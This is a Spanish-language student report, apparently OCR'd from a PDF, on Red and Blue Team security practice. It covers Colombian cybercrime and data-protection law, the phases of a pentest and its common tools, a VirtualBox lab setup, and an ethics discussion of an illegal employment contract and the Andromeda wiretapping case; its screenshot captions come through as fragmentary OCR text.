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RESUMEN

Este documento contiene un informe técnico que describe el proceso de pentesting,
deteccion y contencion de vulnerabilidades tan facil de leer que permitiria a un
usuario no experto entender cdmo monitorear y fortalecer la seguridad de una
organizacion desde el enfoque del Blue Team! y Red Team?. Este informe describe
de manera general el uso de las herramientas basicas para detectar y contener
ataques sospechosos al monitorear e identificar las vulnerabilidades a las que estan
expuestas las organizaciones que normalmente no disponen de altos presupuestos
para mantener un Blue Team y Red Team dentro de sus equipos.

Se inicia con un abordaje a los aspectos legales de escenarios especificos que
contextualizan algunos conceptos basicos que se requieren para comprender el
detalle técnico. Este informe esta dirigido al profesor y jurados encargados de medir
la comprension del aprendizaje de este curso, asi como el uso de las herramientas
gue permiten monitorear su infraestructura de seguridad, con el fin de descubrir sus
debilidades identificando oportunidades de mejora para el fortalecimiento de su
seguridad informatica.

Palabras clave: auditoria, penetracidn, pentesting, proteccion de datos, seguridad
informatica.

1 ITDIGITALSECURITY, ¢Qué es un Blue Team y cémo trabaja?, 2018. Disponible en:
https://www.itdigitalsecurity.es/actualidad/2018/05/que-es-un-blue-team-y-como-trabaja

2 UNIR, Red Team, Blue Team y Purple Team, ¢cuales son sus funciones y diferencias?, 2019.
Disponible en: https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/



https://www.itdigitalsecurity.es/actualidad/2018/05/que-es-un-blue-team-y-como-trabaja
https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/

GLOSARIO

Emotet: Es un malware que al darle click a descargar archivos adjuntos se propaga
y obtiene todos los contactos de la victima y se usan para hacer fraudes.

Hardenizacion: Proceso de reduccion de vulnerabilidades en el sistema.

Pentester: Es un experto que penetra en los sistemas digitales y redes informaticas
para encontrar vulnerabilidades que podrian generar riesgos y/o ataques con el fin
de mitigarlas.

Ransonwere: Es un tipo de malware que le permite a los atacantes secuestrar la
informacion de las organizaciones bloqueando su acceso para exigir dinero por su
rescate.

TrickBot: Es un troyano disefiado para obtener datos bancarios.

Versionamiento: Es la forma de organizar y acceder a las modificaciones de un
software.



INTRODUCCION

La necesidad de expertos de seguridad informatica en las organizaciones es cada
vez mas evidente, el mercado laboral exige especialistas con conocimientos
técnicos y absoluta claridad en conceptos teodricos en ciberseguridad y la
implantacion de Sistemas de Gestidn de Sistemas de Informacion. Este trabajo
permite verificar un informe técnico creado con base en la formulacion de
estrategias de contencion mediante el analisis de riesgos y vulnerabilidades en una
infraestructura TI.



1. OBJETIVOS

1.1 OBJETIVO GENERAL

Construir un informe técnico que refleje el desarrollo de las actividades del curso
presentando consistencia entre: titulo, objetivos, desarrollo del informe,
conclusiones y recomendaciones con el fin de organizar informacioén técnica util para
evidenciar estrategias bajo el enfoque Red & Blue Team.

1.2 OBJETIVOS ESPECIFICOS

e Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales para identificar las
principales leyes que lo regulan.

e Demostrar vulnerabilidades en un sistema informético a partir del uso de
metodologias y técnicas de intrusion para identificar las principales brechas
de seguridad.

e lIdentificar y reconocer las herramientas que permitan contener ataques
informaticos con el fin de mejorar las capacidades de seguridad bajo el
enfoque Blue & Red Team.

e Exponer el desarrollo del trabajo realizado con suficiencia en argumentacion
y capacidad de sintesis a través de un video que evidencie el aprendizaje
obtenido.



2. DESARROLLO DEL INFORME

A continuacion, se describe el desarrollo del informe técnico de acuerdo con los
aspectos trabajados durante el curso:

2.1. ETAPAL LEGISLACION RELACIONADA CON DELITOS
INFORMATICOS

Durante el ultimo afio, los ciberataques han aumentado dramaticamente, uno de los
mas criticos es el ransomwere? tanto en Colombia como en el resto del mundo,
Colombia es uno de los mas afectados, recibiendo el 30% de los ataques de
ransomwere de toda Latinoamérica. Su pena maxima es de 8 afios mas multas de
hasta 1000 salarios minimos. Lo dificil de los cibercrimenes y la justicia en general
en Colombia es que los vacios en la regulacion de las leyes, han permitido que
muchos de estos ataques no sean condenados, por lo tanto, muchas de las
compafiias optan por no denunciar sino que prefieren negociar con los
ciberdelincuentes y no exponerse al desprestigio publico. Sin embargo, la
negociacion con delincuentes también es un delito, entonces las victimas se ven en
una encrucijada muy delicada.

Cerca del 90% de los ciberataques que se sufren en Colombia se deben a ingenieria
social con estrategias cada vez mas creativas. Estan azotadas tanto organizaciones
como ciudadanos, lo cual los ha obligado a fortalecer los protocolos de seguridad
informatica y de la informacién, a pesar de eso la situacién no va a mejorar, la
tendencia de incremento de estos cibercrimenes es imparable ahora con
inteligencia artificial, por lo tanto, este crecimiento ha llevado a los paises adaptar
leyes y normatividades con el fin de proteger el activo mas preciado como es la
informacion (datos) de las entidades publicas y privadas, buscando siempre ejercer
la prevencién y sanciones de los delitos informaticos.

Colombia no es ajeno al desarrollo de normatividades y en la linea del tiempo ha
visto la necesidad de mejorar su accionar legislativo, por lo tan ha emitido las
siguientes leyes que permiten abordar la problematica de las conductas ilicitas a
nivel financiero, en la alteracién y manipulacion de los sistemas informaticos.

La ley 1273 de 20094, denominada ley de la proteccién de la informacién y de los
datos, cataloga las conductas mal intencionadas con el manejo de datos personales,
buscando que las organizaciones se blinden legalmente. Las penas de prision
definidas para la mayoria de los articulos establecidos oscilan 36 a 96 meses con

8 CCIT, Tendencias cibercrimen Colombia - Ransomwere, 2020. Disponible en:
https://www.ccit.org.co/wp-content/uploads/informe-tendencias-cibercrimen compressed-3.pdf

4 SIC, Ley 1273 de 2009, 2009. Disponible en:
https://www.sic.gov.co/recursos user/documentos/normatividad/Ley 1273 2009.pdf



https://www.ccit.org.co/wp-content/uploads/informe-tendencias-cibercrimen_compressed-3.pdf
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf

multas de 100 a 1500 salarios minimos vigentes. Esta ley estd compuesta
organizada de la siguiente manera:

CAPITULO |

e Articulo 269A: Acceso no autorizado de manera abusiva a los sistemas
informaticos

e Articulo 269B: Personas sin conocimiento que interrumpa u obstaculice el
buen funcionamiento de las redes de telecomunicaciones y sus datos
contenidos.

e Articulo 269C: Habla cuando los datos informaticos son interceptados o el
medio de comunicacién que los transporte

e Articulo 269D: Cuando existe dafio, alteracion o borrado de los datos de un
sistema informatico y que no esté facultado.

e Articulo 269E: Habla de la distribucién y trafico de software malicioso de
efectos dafinos

e Articulo 269F: Hace referencia a la violacion de datos personales con fines
lucrativos o propios, como o es la venta, la divulgacion o alteracion archivos,
bases de datos o el empleo de cbédigo personales, etc.

e Articulo 269G: Hace referencia a la suplantacion de sitio web con el objetivo
capturar datos personales o la modificacién de los sistemas de resolucién de
dominio con el objetivo de presentarse como sitios confiables o realizar
técnicas de phishing por medio del correo electrénico, redes sociales.

e Articulo 269H: Hace referencia al aumento de las penas de los anteriores
articulos, si hace parte de las conductas, si es un empleado publico, si es de
confines terroristas o si es auto lucro o beneficios a un tercero, entre las mas
importantes.

CAPITULO I

e Articulo 2691: Hace referencia al hurto o manipulacién de los medios
informaticos.

e Articulo 269J;: Hace referencia a la transferencia sin consentimiento de
activos

Otra ley importante en nuestro pais es la ley estatutaria 1581 de 2012 que es
conocida como la ley de proteccion de datos o habeas data, que regula el registro,
actualizacion y permisos sobre el manejo de los datos personales en las bases de
datos del pais. Es de obligatorio cumplimiento e implementacion en las empresas la
creacion de una politica de tratamientos de datos publicos, privados y sensibles,
para lo cual se deben tener en cuenta los siguientes aspectos:

e Establecer la responsabilidad sobre la proteccion de datos personales.

10



Determinar la finalidad de la recoleccion de los datos personales y su politica
de privacidad.

Consultar al titular sobre la autorizacion expresa para el uso de sus datos.
Definir el mecanismo de atencion de requerimientos sobre el uso de los
datos.

Mantener el inventario de bases de datos que gestiona esos datos.
Asegurarse de que el personal esté capacitado en el tratamiento de los datos.
Identificar, gestionar y minimizar los riesgos a los que puedan estar
expuestos los datos dentro de las organizaciones.

Atender los requerimientos relacionados con el uso de datos personales de
manera oportuna y clara.

Identificar, gestionar y reportar los incidentes relacionados con bases de
datos personales y/o sensibles.

PENTESTING

A través de los tests de intrusion el especialista simula ciberataques en entornos
controlados para descubrir vulnerabilidades o huecos de seguridad y remediarlos
antes de que sucedan en realidad. Sin embargo, el éxito de estos pentest depende
de llevar a cabo un proceso estructurado y metodolégico, para ello son
fundamentales las siguientes fases:

1. RECOPILACION, PLANICACION Y PREPARACION

Es la etapa principal, donde se realiza la planificacion y el reconocimiento del
posible objetivo a atacar, puede ser pasiva 0 activa, pasiva es la recopilacion
de la informacién sin el conocimiento del objetivo y activa es cuando se
utilizan técnicas y herramientas con el aval de las organizaciones y el riesgo
de ser descubiertos. En esta fase podemos escanear puertos, dominios,
versionamiento de software, servicios, obtener metadatos etc.

Herramienta:
NMAP?>

INVESTIGACION Y ANALISIS VULNERABILIDADES

Es la fase donde se realiza las acciones para comprometer y encontrar las
debilidades del objetivo, siempre con el aval del cliente en cuanto a la
profundidad de las pruebas. Estas pueden se manuales o automaticas.

5 NMAP, Herramienta de auditoria informatica. Disponible en: https://nmap.org/

11
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Herramienta:

Nessus®: Es una de las mejores herramientas de escaneo de
vulnerabilidades y de red del mercado creada y distribuida por Tenable
Network Security. Contiene varias funcionalidades de reconocimiento
interno. Cuenta con una suscripcion gratuita limitada.

llustracion 1 Nessus application

R Ay °®
| AN Scarn

B T

O Poicies Famiy Count @ Notice: This scan has been upcated wim LI
.

Reaultn. Launch & e scan b0 contem the
B Pugn Rues =
eings o rermiove them

B scanoetate

Harve Live Resudts Scan
St Completed
Poiicy Achvarced Scan
Scarrwr:

Moctad

MacOS X Local Security Chacks

MacOS X Local Security Checks

Local Scanner
Toclay at 803 PM fuive Flesuits)

-« (11 Multiple Cri inerabib
51 Multipie Critical Vulnersbil Vulnerasilibes

O

Multiple Critiesl Wuinerabi

MacOS X Local Security Checks

e
i

51 Cartificate Cannot Be Trusted Gararal

FEFI8

[oro [N —
[Toeo JEr—

B 7T Server Type and Version

Post scannars

Service detection

Wb Sorvers 2

Nota. Live results scan. Tomada de Nessus, 2020, https://es-la.tenable.com/products/nessus, CCBy 2.0

3.

INTENTO DE PENETRACION Y EXPLOTACION DE
VULNERABILIDADES

Es la fase en la que se realizan todas las acciones para comprometer el
sistema auditado ejecutando exploit contra las vulnerabilidades identificadas
y evaluadas de la anterior fase verificando que no se puedan realizar ataques
principalmente de los siguientes tipo: inyeccion de codigo, inclusion de
ficheros, evasion de autenticacion, carencia de controles, ejecucién de
comandos, cross site request, gestion de sesiones, fugas de informacion,
cargue de ficheros maliciosos, entre otros.

Herramienta:
Metasploit’ Framework

POST EXPLOTACION

Es la fase en la que el objetivo es escalar privilegios una vez explotadas las
vulnerabilidades, con el fin de obtener las cuentas de administrativas del
sistema y la informacion confidencial para lograr accesos de mayor nivel,

6 Nessus,
la.tenable.com/products/nessus

7 Metasploit, Herramienta de

https://www.metasploit.com/

Herramienta de escaneo de vulnerabilidades.

penetracion

Disponible en: https://es-
de vulnerabilidades. Disponible en:

12


https://es-la.tenable.com/products/nessus
https://es-la.tenable.com/products/nessus
https://www.metasploit.com/

privilegios y/o evadir controles de seguridad para realizar acciones de
usuarios o administradores sin su conocimiento.

Herramienta:
Metasploit framework

4. ANALISIS Y REPORTE
Esta fase de andlisis, reporte y socializacion de resultados ante el cliente es
vital, pues es donde se registran cada una de las acciones realizadas durante
el proceso y se listan las vulnerabilidades encontradas y explotadas, asi
como también las acciones tomadas para solucionar los fallos de seguridad
y soluciones a las vulnerabilidades.

Herramienta

Simple Vulnerability Manager: Es una herramienta ideal para cualquier
especialista o analista de vulnerabilidades, la cual puede generar informes de
las debilidades encontradas en la etapa de investigacion. La herramienta
generar informes personalizarlos a cada cliente.

llustracion 2 Simple Vulnerability Manager

[8 simple Vulnerability Manager = o
Proyecto Vulnerabilidades [P Web Base de conocimiento Mobile Reportes Buscar Opciones Tools Ayuda
i@X25000m0H &0 JOARL RN
Proyectos
Proyecto:|E-Corp USA . Web ID: |1 Pentester:  [EJELR
Asunto Mait Creador.
Web: | hitp://www.e-corp-usa.com
Imagen Web: Documentacién / Directorio de trabajo:
1P:(23.15,186.113 - C:\svm\Reportes\E-Corp USA
o AC Nombre Fecha Tamafio
ysvm
_yReportes
& E-Corp USA

Nuevo:

Abierto: = Vulnerabilidades:4 Soluc

Finalizado:

B 5 Do et Fovgery (ORS/)
Nota. Consulta de Proyecto. Tomada de Simple Vulnerability Manager, 2020,
https://www.simplevulnerabilitymanager.com/, CCBy 2.0

Rechequeado:

5. LIMPIEZA Y REMEDIACION
Es esta fase el pentester® debe eliminar cualquier huella que haya podido
dejar previniendo que pueda ser usada por algun atacante en el futuro y

8 Pentest, técnica para desarrollar test de intrusion para pentester.
https://lwww.udemy.com/course/pentester-jr/
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dedicarse a tomar medidas para resolver todo lo encontrado y promover las
mejoras requeridas.

6. RETESTEO
Esta fase consiste en repetir el test y asegurarse de que todas las
vulnerabilidades han sido resueltas y se hayan tomado todas las acciones
necesarias para mitigar los riesgos y gestionar las vulnerabilidades
encontradas.

HERRAMIENTAS DE CIBERSEGURIDAD

Cada vez existen méas aplicaciones disponibles para realizar test de intrusibn mas
automatizados y sofisticados. Sin embargo, algunas herramientas son muy
reconocidas por sus beneficios y alcance. Cémo lo son:

METASPLOIT

Es una poderosa herramienta de cédigo abierto que permite encontrar las
vulnerabilidades de seguridad desarrollando y ejecutando exploits contra
maquinas remotas, facilitando los tests de penetracion y el desarrollo de
firmas para sistemas de deteccién de intrusos. Se puede utilizar para
actividades legitimas, pero también puede ser usada para actividades ilicitas
por ciberatacantes. Funciona mediante el aprovechamiento de bugs
conocidos y pone a prueba los sistemas seleccionados hasta encontrar
susceptibilidades.

14



llustracion 3 Metasploit

official Ubuntu documentation,
1ielp.ubuntu.con/

nf ig
net HUWaddr OF

L6 addr
UP BROADCAST

I‘I byt

nsfadmin@metasploitable

Nota. Metasploit. Tomada de Metasploit, 2020, https://www.metasploit.com/, CCBy 2.0

NMAP

Es una herramienta gratuita Open Source muy poderosa que trabaja
mediante escaneo de paquetes IP, puede identificar los puertos abiertos que
podrian ser explotados del objetivo. También puede descubrir los servicios
que corren en cada maquina e identificar reglas de firewall en la red
escaneada. NMAP esta disponible para Windows, Linux y MAC y cuenta con
una interfaz de linea de comando CLI y dispone de una interfaz grafica GUI

(Zenmap).
llustracion 4 NMAP

Scan Tools Profile Help
Target: | 132.168.20.23 ~ | Profile ~| |Scan | Cancel

Command: | nmap -T4 -A -v 102.168.20.23

Hosts Services Nmap Output Ports / Hosts Topology Host Details  Scans
05 4 Host ~  |nmop -T4-A -v 192 168.20.23 ~ Details
Starting Nmap 7.91 (_nttps://nmap.org ) at 2022-09-04 88:49 Hora

est. PacAfico, SudamA8rica
NSE: Loaded 153 scripts for scanning.

NSE:_Script Pre-scanning.
Initiating NSE at 88:49

Completed NSE at @s8: 49 e.ees slapsed

Initiating NSE at 08:4

Completed NSE at 88: 49 8.88s elapsed

Initiating NSE at @8:49

Completed NSE at ©8:49, 8.88s elapsed

Initiating Parallel DNS resolution of 1 host. at ©8

Completed Parallel DNS resolution of 1 host. at @8: 49 8.83s
elapsed

Initiating SYN Stealth Scan at 88:49

Scanning 192.168.20.23 [166@ ports]

Discoversd open port 139/tcp on 192.168.20.23

Discovered open port 445/tcp on 192.168.20.23

Discovered open port 135/tcp on 192.168.20.23

Discovered open port 787@/tcp on 192.168.20.23

Discovered open port 5357/tcp on 192.168.20.23

Discovered open port 5646/tcp on 192.168.20.23

Completed SYN Stealth Scan at 88:43, 1.57s elapsed (1888 total
ports)

Initiating Service scan at @8:43

Scanning 6 services on 192.168.20.23

Completed Service scan at @8:49, 11.10s elapsed (6 services on 1
host)

Initiating OS detection (try #1) against 192.168.20.23

NSE: Script scanning 192.168.20.23.

Initiating NSE at ©3:49

Filter Hosts.

Nota. NMAP. Fuente propia. 2022
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OPENVAS

Es una suite de herramientas de codigo abierto y software libre especializado
en el escaneo y gestion de vulnerabilidades. Es multiplataforma, cuenta con
servidor web integrado, permite escaneo automatico temporizado y escaneo
concurrente de multiples nodos. También permite reporte en multiples

formatos.
llustracion 5 Open VAS
TN 0
Q. 0O penVA S OpenVAS Greenbone 5
CLI Sl 1
Assistant @
Scan Targets 1
OpenVAS OpenVAS %j
Scanner Manager =
9]

Nota. Open Vas. Tomada de Open Vas, 2020, https://www.openvas.org/, CCBy 2.0

EXPLOITDB
Es un base de datos publica que almacena exploits que han sido usados para
testear y/o atacar diferentes redes, por lo tanto, su uso permite ejecutar

técnicas de ataque actualizadas.
llustracion 6 Exploit Database

The Exploit Database COOC) -

P
The Exploit Database (EDB) - an ultimate archive of exploits and ACKING-DATAZASE
vulnerable software. A great resource for penetration testers,
vulnerability researchers, and security addicts alike. Our aim is to

collect exploits from submittals and mailing lists and concentrate
them in one, easy to navigate database.

2013-01-29
2013-01-24
20130124
2013-01:24
2013-01-07
2013-01-24

cccccccag_
SNSRI SRS S

Local

Date D A Description
20130125 &
20130120 §
20130118 &
2013-01-09 &

Nota. Exploit Database. Tomada de Exploit Database, 2020, https://www.exploit-db.com/ CCBy 2.0
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CVE

Es una base de datos en la que se codifican las vulnerabilidades conocidas
y se registran las nuevas. Son administradas a través de un codigo asignado
en el momento del registro con la identificacion de la vulnerabilidad a través
de una nomenclatura estandar junto con la descripcion de la vulnerabilidad,
versiones del software que afecta, posibles solucion y mitigacion.

llustraciéon 7 CVE

Vulnerability Severity T Package
> CVE-2018-5709 Negligible krbs
> CVE-2018-7738 utll-linux
> CVE-2016-10228 glibc
> CVE-2019-7309 glibc
> CVE-2017-7245 pcre3
> CVE-2017-7246 pcre3
> CVE-2018-1000654 libtasn1-6
> CVE-2018-20217 Medium krbs
>  CVE-2018-11236 Medium glibc
>  CVE-2019-16163 Medium libonig
>  CVE-2019-13050 Medium 9gnupg2
> CVE-2019-9513 Medium nghttp2

Nota. Exploit Database. Tomada de Exploit Database, 2020, https://www.exploit-db.com/ CCBy 2.0

IMPLEMENTACION BANCO DE TRABAJO

Instalacion Virtualbox®

° Virtualbox, software de Vvirtualizacion de maquinas remotas. Disponible en:
https://www.virtualbox.org/
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llustracion 8 Instalacion Virtualbox

.

[E7 ] metasploitable3-master_win2k8_1587903378622_94003
KT @ rowersdoff

Raspberry Pi
@ Powered OFf

Quality 300
@) powered OFf

EPY Kali Linux
@ Powered OFF

7] Window 10 (64)
BB © Fonersd o

(=™ Ubunto
f (@ Powered OFF
P Gns3 v
f @ Powered OFf

[P VI1_PFSENSE_98
8 © PowersdOFF

Nota. Instalacion Virtual Box. Fuente propia. 2022

& 9.

New Settngs Dcard Start

[ General

Name: VM_Proxy 98
Operating System: FreeBSD (64-bit)
[ system

Base Memory: 2048 VB

Processors:

Boot Orcer:  Hard Disk, Optical

Acesleration:  VT-/AMD-V, Nested Paging

[ isplay

Video Memory 1618
Graphics Controller: VMSVGA
Remote Desktop Server: Disabled
Recording: Disabled

Storage

Controller; IDE
IDE Primary Master: VM _Proxy_98.vdli {Normal, 16.00 GE)
IDE Secondary Master:  [Optical Drive] nethserver-7.9.2009-x86_64.is0 (1.13 GB)

{0 Audio

Host Driver: - Windows DirectSound
Controller:  ICH ACS7

& Network

£ uss

[C] Sharedfolders
© Description

Instalaciéon maquina virtual Windows 7 X86

=] Preview

VM_Proxy_98

Desde el virtualbox se importa la maquina virtual .ova, previamente descargadas

llustracion 9 Import Virtualbox Windows

& Import Virtual Appliance

4

Appliance settings

These are

in the appliance an:

] metasploitable3-master_win2k_15
B © Ponered off

& imported VirtualBox machines. You can change many of the

d th
properties shonn by double-cicking on the items and disable others using the check boxes below,

Virtual System 1

Raspberry Pi 8 Name
© Powered OFf
B Guest 05 Type

Quality-0x Qav
@ Powered Off & ram
(5 USB Controller
EPY Kali Linwe
- © Powered off

({0 Sound Card

[ Network Adapter
£ Window 10 (64)
1 © powered Off

Y ubunto
f © Powered OFf
&Y cnszvm
f © Powered off

[P vi1_pesense_os

o © Powered af

Base Folder
Primary Group

=2

win-SE2020

& windows 7 (64-bit)

4

4096 M8

(]

8 Intel HD Audic

8 Intel PRO/ 1000 MT Desktop (82540EM)

¥ & Storage Controller (SATA)  AHCI
Virtual Disk Image

win7-SE2020-disk0B1.vmdlk
Co\Users\hyvil\VirtualBox VMs
!

(ol ©

Machin Base Folder:

CiUsers'hyvi WirtualBox VMs

MAC Address Poicy: | Indude orly NAT network adapter MAC addresses

‘Additional Options: (@ Import hard drives as VDI

Appliance s not signed

Restore Defaults | Import Cancel

& prevew

VM_Proxy_938

Nota. Importacion virtual box Windows. Fuente propia. 2022

Ya importada la maquina Windows 7 X86 virtual se inicia. Se realiza la verificacion
de la direccion IP asigna para la maquina Windows 7 X86 la cual tomo por dhcp la

79.87.77.102
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llustraciéon 10 Verificacion IP

@
You have the on turned on. This will the i i y time the VM window is activated i toother (X))
The Vi i ts inter i tion. This means that you de d to capture the inter to be able to use itin your guest OS — all mouse (18]

&9

\system32\cmd.exe

Firefox \User: ario>ipconfig

ién IP de Windous

- 4d66::4f57:4d66
Puerta de enlace predeterminada . .

C: \User.

Gl i 1) [E i £ (8 (¥ cTRL DERECHA
Nota. Verificacion IP Windows. Fuente propia. 2022

Los recursos asignados de la maquina son los siguientes:
Memoria: RAM 2 GB

Disco virtual: 50 GB

SO: Windows 7 Home Premium de 32 bits

Nombre del equipo win7

Instalacion maquina virtual Kali Linux

Desde el virtualbox se importa la maquina virtual .ova, previamente descargadas

llustracion 11 Import virtualbox Kali

9
i Import Virtus! Appliance
I Yoot
uee
_ Appliance to import
] metasplotable3-master_winzks_1587903378 5| preview
@ Powered o Please chacse the source ko irport applance from. Ths can be & localfie system b mport OVF archive or ore of nown cloud service provieers o impert cud
M from,
Raspberry Pi NP =
B 5, -
Piesse chocse a fie o import the vr s sppiance from s n the Cpen i ). To Win7-SE2020-X64
contirue, seect the e  port below,
Quality-x1
) Powered off Fle: C/UNADIESPECIALIZACION|2022\Semnana|Kal - Seminand ova =]
Kali Linuse
Q) Powered OFF

] window 10 (64)
@ Powerea ot

g ubanta
@ Pouered ot

B cusswm

Pl ©roveecon

[P v _prseuse_ss
il © roverec o

[ vi1_Proxy_98
[l © Powereaort

AL win -sta020
(7] 0 Powered off

Nota. Importacién virtual box Kali Linux. Fuente propia. 2022
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Los recursos asignados de la maquina son los siguientes:

Memoria: RAM 2 GB

Disco virtual: 50 GB

SO: DEBIAN 64 bit

Nombre del equipo: seminario

llustracion 12 Verificacion Maquina Linux

B i 5 1 ) 6 (@) oo perecs

Nota. Verificacion virtual box Kali Linux. Fuente propia. 2022

Iniciamos la maquina virtual Kali-Linux con las credenciales suministradas

llustracion 13 Arranque maquina Kali Linux

bl
(a5 oo & & .
77 rromih®

= Quality- X1
@ roweredoft

Py Kah Linux
26) @ Powered Off

& Window 10 (64)
@ ronered off

c Ubunto
@ Fowered Off
Gns3VM
/ @ Powered Off
VH_pFSENSE_98
© Powered OFF
[EP3 vM_Proxy_98
(ol @ Poweredoft
SIZ] Win7-5E2020-X64

G win7-5£2020
@ Povered off

Nota. Arranque virtual box Kali Linux. Fuente propia. 2022

QEFo E806E cromcn
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Se realiza la verificacion de la direccion IP asigna para la maquina Kali Linux la
cual tomo por dhcp la 79.87.77.104

llustracion 14 Verificacion IP

] =g ‘ [ [E] estudiante@seminario: ~ [E] estudiante@seminario: ~

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

{0 &P 5| =) iR B (B @ crrL DERECHA
Nota. Verificacion IP. Fuente propia. 2022

Se realiza pruebas de conectividad ICMP entre las tres maquina virtuales del banco
de trabajo con resultados satisfactorios. Se desactivo el firewall de Windows en la
maquina Windows 7 X64
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llustracién 15 Pruebas de conectividad

&

0<in TTL=12%
TTL=128

h:;u B & S 1E @ P @ @ o omecta
nnnnn o

(=17 | win7-5E2020 = e ping 79.87.77.104
: = 9.87.77.104 o
9.67.77.104:

Sea :

desde 79.87.77.184:
[EEN Kali - Seminario oo Soo oo
(&) < runing

@ O EF o B gl @ crooRean

Nota. Nota. Pruebas de conectividad. Fuente propia. 2022

2.2. ETAPA 2. ACCIONES DE LOS EQUIPOS RED TEAM & BLUE TEAM DE
UNA ORGANIZACION EN EL MARCO DE LOS CRITERIOS ETICOS Y
LEGALES

Respecto al anexo 2y 3

Claramente el anexo3 compromete al empleado para guardar confidencialidad
sobre posibles actos ilegales que se pudieran cometer dentro de la organizacion,
por ejemplo en la clausula segunda numeral 2 “Cualquier informacién societaria,
técnica, juridica, financiera, comercial, de mercado, estratégica, de productos,
nuevas tecnologias, patentes, modelos de utilidad, disefios industriales, datos
secretos como “datos de chuzadas'®, interceptacion de informacién, accesos
abusivos a sistemas informaticos”. De la misma manera la clausula cuarta en sus
numerales 4 y 9 “Abstenerse de denunciar y publicar la informacion confidencial e
ilegal que conozca, reciba o intercambie con ocasidn de las reuniones sostenidas”
y “La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma divulgar total o parcialmente, publica o privadamente, la informacién
confidencial o ilegal sin el previo consentimiento por escrito por parte de Hackers
Security”. Por lo anterior, se evidencia con claridad el interés del empleador en
lograr la sumision total del empleado para que gestione la informacion confidencial
a su cargo de acuerdo a la voluntad del empleador.

10 Chuzadas en Colombia, un fenémeno ilegal que parece no tener fin. Disponible en:
https://lwww.elpais.com.co/colombia/chuzadas-en-un-fenomeno-ilegal-que-parece-no-tener-fin.html
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De acuerdo alaley 1273

La ley 1273 de 2009, denominada ley de la proteccién de la informacién y de los
datos, cataloga las conductas mal intencionadas con el manejo de datos personales,
buscando que las organizaciones se blinden legalmente. Por lo anterior se puede
deducir que el anexo 2 y 3 del escenario en estudio podria vulnerar principalmente
los siguientes articulos:

CAPITULO |

Articulo 269A: Acceso no autorizado de manera abusiva a los sistemas informaticos
Articulo 269F: Hace referencia a la violacion de datos personales con fines
lucrativos o propios, como o es la venta, la divulgacion o alteracion archivos, bases
de datos o el empleo de codigo personales, etc.

CAPITULOQO I

Articulo 269I: Hace referencia al hurto o manipulacién de los medios informaticos.
Articulo 269J: Hace referencia a la transferencia sin consentimiento de activos

Sin embargo, de acuerdo con el uso de los datos o al acceso a los mismos a lo que
se vea obligado el empleado podria incurrir en la vulneracién de no solo uno sino
varios articulos de esta ley.

Respecto al empleo Hackers'! Security

De ninguna manera estaria interesado en aceptar una oferta laboral de este tipo,
sin embargo, al analizar este escenario he tomado conciencia de que la mayoria de
las veces no se lee el detalle ni la letra pequefia de los contratos, en este caso la
redaccion de las clausulas son muy evidentes y alcanzaria a reaccionar y darme
cuenta de que la falta de ética a la que estuviera expuesto pero si me preocupa que
los abogados habilmente puedan redactar estas clausulas de tal manera que no
sean evidentes.

Por otro lado, en mi ejercicio profesional siempre he estado interesado en cumplir
con mi responsabilidad y compromiso de fomentar el progreso de la ciencia e
ingenieria y de resolver problemas a través de ello por lo tanto de ninguna manera
estaria dispuesto a incumplir con el codigo de ética que respeto y cumplo
honrosamente como persona desde antes de mi graduacién y no me gustaria que
todo el esfuerzo en construir una carrera se vea derrumbando y mi matricula
profesional sea cancela por faltas gravisimas en su articulo 53 de la ley 842 de 2003

u Convertirse en hacker. 2021. Disponible en:
https://www.pandasecurity.com/es/mediacenter/consejos/5-consejos-para-convertirse-en-hacker/
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gue contiene el cédigo de ética profesional e incurrir con el incumplimiento de los
deberes y obligaciones establecidos en el capitulo Il articulo 31 (f), articulo 34 (a) y
articulo 39 (a)

f) Denunciar los delitos, contravenciones y faltas contra este Codigo de Etica, de
que tuviere conocimiento con ocasion del ejercicio de su profesion, aportando toda
la informacién y pruebas que tuviere en su poder;

a) Ofrecer o aceptar trabajos en contra de las disposiciones legales vigentes, o
aceptar tareas que excedan la incumbencia que le otorga su titulo y su propia
preparacion;

a) Mantener el secreto y reserva, respecto de toda circunstancia relacionada con el
cliente y con los trabajos que para €l se realizan, salvo obligacion legal de revelarla
o requerimiento del Consejo Profesional respectivo;

OPERACION ANDROMEDA BUGGLY

El sonado caso Andromeda del afio 2014 donde la inteligencia militar utiliz6 como
fachada un centro de operaciones llamado ‘Buggly Hacker'?, donde realizaban
operaciones e interceptaciones presuntamente ilegales de las comunicaciones de
periodistas y del grupo de negociador del proceso de paz que se llevo en Cuba en
su momento. En los allanamientos adelantados por la fiscalia se evidencio que se
saltaron todos los procedimientos dentro del marco legal, presentdndose mdltiples
fallas de seguridad y falta de control de actividades realizadas en este centro, tanto
por militares y civiles involucrados.

Desde mi punto de vista la fuerza militar se aprovechd de su estatus y actud sin
ética alguna, reclutando civiles con conocimientos para realizar delitos informaticos
y lograr resultados, obviamente con el fin de recibir reconocimientos monetarios.
Ademas, estos civiles su actuar no fue el mas ético, aparte que estaban realizando
espionaje y trabajando sin supervision tenian otro objetivo que era también lucrarse
con la informacidon robada, por otro lado, habia otros civiles con grandes
capacidades informéticas que fueron engafiados y tristemente cayeron en esta
fachada de supuesta legalidad y pecaron por omision y desconocimiento.

Este caso es evidente que se saltaron toda la legislacion de la proteccion de la
informacion y de los datos La ley 1273 de 2009, como también la ley inteligencia y
contrainteligencia®® que se encuentran en los lineamientos la ley 1621 de 2013.

12 ENTER (2015). Detrds de Buggly: la historia de la fachada Andromeda. Disponible en:
https://www.enter.co/empresas/colombia-digital/detras-de-buggly-la-historia-de-la-fachada-
andromeda/

13 Contrainteligencia militar. Disponible en: https://www.dsn.gob.es/es/sistema-seguridad-
nacional/qu%C3%A9-es-sequridad-nacional/%C3%Almbitos-sequridad-nacional/contrainteligencia
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https://www.dsn.gob.es/es/sistema-seguridad-nacional/qu%C3%A9-es-seguridad-nacional/%C3%A1mbitos-seguridad-nacional/contrainteligencia

La sensacion que queda es que estos delitos cada vez se incrementan a medida
qgue los desarrollos en tecnologia crecen, pero la normas son inadecuadas y van
muy lentas. Es muy importante que nosotros como profesionales en seguridad
informatica, conozcamos y nos alineemos al marco legal que reglamenta y penaliza
